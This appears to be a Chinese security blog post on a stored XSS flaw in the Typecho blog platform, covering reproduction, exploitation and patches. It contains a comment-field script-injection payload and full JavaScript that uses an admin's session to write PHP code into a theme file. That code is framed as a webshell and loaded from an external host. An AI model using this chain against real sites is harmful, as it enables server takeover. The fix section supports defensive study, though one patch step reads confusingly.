ITPub博客

首页 > 数据库 > 数据库开发技术 > Typecho 存储Xss复现及修复

Typecho 存储Xss复现及修复

原创 数据库开发技术 作者:逍遥子 时间:2023-07-22 08:00:00 0 删除 编辑

Typecho和WordPress一样,是一款简洁的博客程序。相比第二者它更加简单轻量,本身最新爆出最新版存在存储xss漏洞。本文简单的进行复现和利用。

注意: 本文仅供学习和研究,研究反对一切危害网络安全的行为。

漏洞复现

我们在文章的评论处写入poc。

https://bbskali.cn/"></a><script>alert(1)</script><a/href="#

如下:

提交之后,在前台文章处直接触发。同时在后台评论管理处也会直接触发。

漏洞利用

我们可以通过js编辑模板文件来写入一句话木马。这里通过js在网页的末尾插入一个iframe元素来打开模板编辑页面

// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
    // 获取当前页面路径
    var urlWithoutDomain = window.location.pathname;
    // 判断页面是否为评论管理页面
    var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
    var tSrc='';
    if (hasManageComments){
        // 如果是,则将路径修改为用于修改主题文件的页面地址
        tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
    }else{
        // 如果不是,则直接使用主题文件修改页面地址
        tSrc='/admin/theme-editor.php?theme=default&file=404.php';
    }
    // 定义iframe元素的属性,包括id、src、width、height和onload事件
    var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
    // 获取网页原始内容
    var originalContent = document.body.innerHTML;
    // 在网页末尾添加iframe元素
    document.body.innerHTML = (originalContent + iframeAttributes);
}

// 定义一个全局变量isSaved,初始值为false
var isSaved = false;

// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
    // 如果isSaved为false
    if (!isSaved) { 
        // 获取iframe内的内容区域和“保存文件”按钮元素
        var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
        var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');    
        // 获取模板文件原始内容
        var oldData = content.value;
        // 在原始内容前加入一段phpinfo代码
        content.value = ('<?php phpinfo(); ?>\n') + oldData;
        // 点击“保存文件”按钮
        btns[1].click();
        // 将isSaved设为true,表示已经完成写入操作
        isSaved = true;
    }
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP代码的事件
insertIframe();

保存上述文件为js文件。在评论处构造paylaod

http://xxx.xxx.com/"></a><script/src=http://js地址></script><a/href="#

提交评论后,是没法复现的。只有管理员点击了后台的评论按钮,才会得到复现!

然后这里访问模板文件或者让文章404即可触发/usr/themes/default/404.php或/index.php/archives/1/A

漏洞修复

1 1.2版本修复

var/Widget/Base/Comments.php 271行

 echo '<a href="' . $this->url . '"' 

修改为

echo '<a href="' . Common::safeUrl($this->url) . '"'

这部分对评论中的网址输出进行了过滤使用safeUrl函数将url中的非法字符串进行处理

修改var/Widget/Feedback.php 209,308 行

$comment['url'] = $this->request->filter('trim')->url;

修改为

$comment['url'] = $this->request->filter('trim', 'url')->url;

308行将

$trackback['url'] = $this->request->filter('trim')->url;

修改为

$trackback['url'] = $this->request->filter('trim', 'url')->url;

var/Widget/Options.php 85行

* @property bool $commentsRequireURL

修改为

* @property bool $commentsRequireUrl

1 1.2.1-rc版本修复

修改/var/Typecho/Validate.php 第99行 修改为

return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;

修改为

return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);

修改完成后,在后台也就无法触发xss

更多精彩文章 欢迎关注我们

原文作者:Kali笔记;如有侵权,请联系管理员删除。

请登录后发表评论 登录
全部评论

注册时间:2021-01-22

  • 博文量
    760
  • 访问量
    444513